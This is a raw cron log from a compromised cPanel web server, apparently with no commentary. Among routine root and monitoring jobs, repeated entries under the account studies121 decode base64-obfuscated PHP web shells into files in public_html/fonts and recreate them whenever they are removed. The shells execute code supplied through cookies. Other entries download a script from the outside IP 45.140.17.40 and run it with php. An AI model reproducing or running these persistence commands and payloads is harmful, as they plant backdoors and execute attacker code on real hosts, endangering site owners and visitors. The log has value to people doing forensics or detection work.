Sep  9 11:13:01 ip-184-168-122-23 CROND[4325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:13:01 ip-184-168-122-23 CROND[4326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:14:01 ip-184-168-122-23 CROND[4433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:14:01 ip-184-168-122-23 CROND[4434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:14:01 ip-184-168-122-23 CROND[4436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:14:01 ip-184-168-122-23 CROND[4437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:14:01 ip-184-168-122-23 CROND[4435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:15:01 ip-184-168-122-23 CROND[4577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:15:01 ip-184-168-122-23 CROND[4579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:15:01 ip-184-168-122-23 CROND[4580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:15:01 ip-184-168-122-23 CROND[4581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:15:01 ip-184-168-122-23 CROND[4583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:15:01 ip-184-168-122-23 CROND[4582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:16:01 ip-184-168-122-23 CROND[4798]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 11:16:01 ip-184-168-122-23 CROND[4800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:16:01 ip-184-168-122-23 CROND[4801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:16:01 ip-184-168-122-23 CROND[4803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:16:01 ip-184-168-122-23 CROND[4804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:16:01 ip-184-168-122-23 CROND[4805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:17:01 ip-184-168-122-23 CROND[4957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:17:01 ip-184-168-122-23 CROND[4959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:17:01 ip-184-168-122-23 CROND[4960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:17:01 ip-184-168-122-23 CROND[4962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:18:01 ip-184-168-122-23 CROND[5067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:18:01 ip-184-168-122-23 CROND[5070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:18:01 ip-184-168-122-23 CROND[5069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:18:01 ip-184-168-122-23 CROND[5075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:18:01 ip-184-168-122-23 CROND[5074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:19:01 ip-184-168-122-23 CROND[5211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:19:01 ip-184-168-122-23 CROND[5214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:19:01 ip-184-168-122-23 CROND[5213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:19:01 ip-184-168-122-23 CROND[5216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:20:01 ip-184-168-122-23 CROND[5325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:20:02 ip-184-168-122-23 CROND[5326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:20:02 ip-184-168-122-23 CROND[5327]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 11:20:02 ip-184-168-122-23 CROND[5330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:20:02 ip-184-168-122-23 CROND[5331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:20:02 ip-184-168-122-23 CROND[5335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:20:02 ip-184-168-122-23 CROND[5329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:20:02 ip-184-168-122-23 CROND[5334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:20:02 ip-184-168-122-23 CROND[5336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:21:01 ip-184-168-122-23 CROND[5444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:21:01 ip-184-168-122-23 CROND[5446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:21:01 ip-184-168-122-23 CROND[5448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:21:01 ip-184-168-122-23 CROND[5449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:22:01 ip-184-168-122-23 CROND[5631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:22:01 ip-184-168-122-23 CROND[5632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:22:01 ip-184-168-122-23 CROND[5634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:22:01 ip-184-168-122-23 CROND[5636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:22:01 ip-184-168-122-23 CROND[5635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:23:01 ip-184-168-122-23 CROND[5752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:23:01 ip-184-168-122-23 CROND[5755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:23:01 ip-184-168-122-23 CROND[5754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:23:01 ip-184-168-122-23 CROND[5756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:24:01 ip-184-168-122-23 CROND[5857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:24:01 ip-184-168-122-23 CROND[5858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:24:01 ip-184-168-122-23 CROND[5860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:24:01 ip-184-168-122-23 CROND[5862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:24:01 ip-184-168-122-23 CROND[5856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:25:01 ip-184-168-122-23 CROND[5969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:25:01 ip-184-168-122-23 CROND[5971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:25:01 ip-184-168-122-23 CROND[5972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:25:01 ip-184-168-122-23 CROND[5973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:25:01 ip-184-168-122-23 CROND[5975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:25:01 ip-184-168-122-23 CROND[5976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
